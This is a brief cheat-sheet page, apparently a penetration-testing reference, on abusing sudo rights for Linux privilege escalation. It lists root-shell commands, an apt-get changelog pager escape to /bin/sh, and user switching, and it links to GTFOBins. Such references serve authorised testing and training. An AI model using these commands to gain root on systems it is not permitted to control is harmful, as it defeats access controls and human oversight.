>_ shadow.red

Sudo Privilege Abuse

Privilege Escalation Linux Privesc linux

Check current sudo permissions

sudo -l

Easy abuse cases

When (ALL : ALL) ALL:

sudo -s
sudo bash -i
sudo sh -c "bash -i"
sudo su root

apt-get example

sudo apt-get changelog apt
!/bin/sh

Become another user

sudo -i -u <username>

Reference

For binary-specific abuse paths see https://gtfobins.github.io/.